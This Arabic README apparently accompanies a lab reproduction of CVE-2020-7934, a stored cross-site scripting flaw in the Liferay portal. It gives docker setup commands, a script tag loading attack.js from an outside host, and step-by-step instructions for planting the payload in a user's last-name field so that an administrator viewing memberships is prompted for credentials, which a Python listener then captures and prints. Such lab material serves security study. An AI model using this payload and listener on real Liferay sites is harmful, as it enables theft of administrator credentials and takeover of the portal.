CVE 2020-7934

كيفية تشغيل CVE

المتطلبات

1. docker

ملاحظات

من الممكن وضع سكريبت الهجوم على الإنترنت (مع كود js) http://yourjavascript.com/ سكريبت Js الخاص بنا على الإنترنت للهجوم html <script src="http://yourjavascript.com/920172199111/attack.js"></script>

أوامر التهيئة

1. انتقل إلى المجلد الجذر لهذا المشروع
2. شغل "sudo docker-compose up --build"
3. طرفية جديدة: شغل "docker inspect liferay" ==> وانسخ قيمة IPAddress
4. طرفية جديدة: شغل "python api_attacker.py"
5. افتح متصفحًا واذهب إلى "http://IPAddress:8080" ==> يجب أن تحصل على بوابة liferay كاستجابة
6. لإيقاف وحذف الحاويات استخدم "sudo docker-compose rm"

تعليمات الهجوم

1. سجل في liferay كمستخدم، وسجل الدخول، وفي قسم "المواقع المتاحة"، انضم إلى موقع "liferay".
2. غيّر "اسم العائلة" في سكريبت JS (مباشرة () أو من خلال "src =" http ... "")
3. سجل الدخول كمسؤول liferay (اسم المستخدم: [email protected]، كلمة المرور: test)
4. اذهب إلى المواقع المتاحة وانقر على "liferay"، ستفتح الصفحة العامة لهذا الموقع.
5. اذهب إلى الصفحة الجديدة، ستظهر قائمة على اليمين، انقر على "العضوية".
6. حدد المستخدم المسجل في الخطوة 1. في تلك اللحظة سيتم تنفيذ السكريبت. 5.1) في سكريبت attack.js ستطلب الصفحة بيانات الاعتماد.
7. في طرفية الخطوة 5 (من أوامر التهيئة) سيتم طباعة اسم المستخدم/كلمة المرور التي تم إدخالها في 5.1 (من قبل المسؤول) )